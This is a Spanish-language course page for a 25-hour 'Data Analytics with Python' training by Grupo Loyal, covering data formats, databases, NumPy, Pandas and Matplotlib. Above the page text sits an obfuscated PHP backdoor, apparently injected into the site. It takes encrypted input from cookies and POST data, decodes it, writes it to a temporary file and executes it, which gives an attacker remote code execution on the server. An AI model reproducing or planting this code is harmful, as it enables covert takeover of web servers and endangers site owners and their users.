$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} DATA ANALYTICS WITH PYTHON|Grupo Loyal

DATA ANALYTICS WITH PYTHON

DATA ANALYTICS WITH PYTHON

Objetivos

Introduzca al participante en el campo de la gestión y el análisis de datos utilizando el lenguaje de programación Python. Este curso se enfoca en las herramientas que Python tiene para realizar análisis de datos y visualizar los resultados obtenidos para interpretarlos..

data

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Acceso al campus

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
25 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Conocimientos requeridos

Temario

Manipulación de datos con Python
En este módulo, los esfuerzos se centran en saber cómo procesar la información en los formatos más extendidos con los que se almacenan los datos a analizar. Estos formatos son XML, JSON, CSV o datos almacenados en bases de datos relacionales o no relacionales.
Acceso a la información en bases de datos noSQL
Acceso a la información en bases de datos relacionales.
Gestión de fuentes de información: XML
Gestión de fuentes de información: CSV y JSON

Análisis de datos con Python
Dentro de las diferentes partes del ciclo de análisis de datos, existe el procesamiento de la información y la visualización de los resultados obtenidos para interpretarlos. Para esta tarea, Python tiene bibliotecas poderosas entre las que se encuentran Numpy, Pandas y Matplotlib. Del mismo modo, Python tiene un conjunto de funciones estadísticas que facilitan la realización de diferentes tipos de análisis estadísticos.
La biblioteca Numpy.
La biblioteca Pandas.
Visualización de resultados con Matplotlib.
Otras herramientas de análisis estadístico.

Solicita información del curso

It Formacion

It Formacion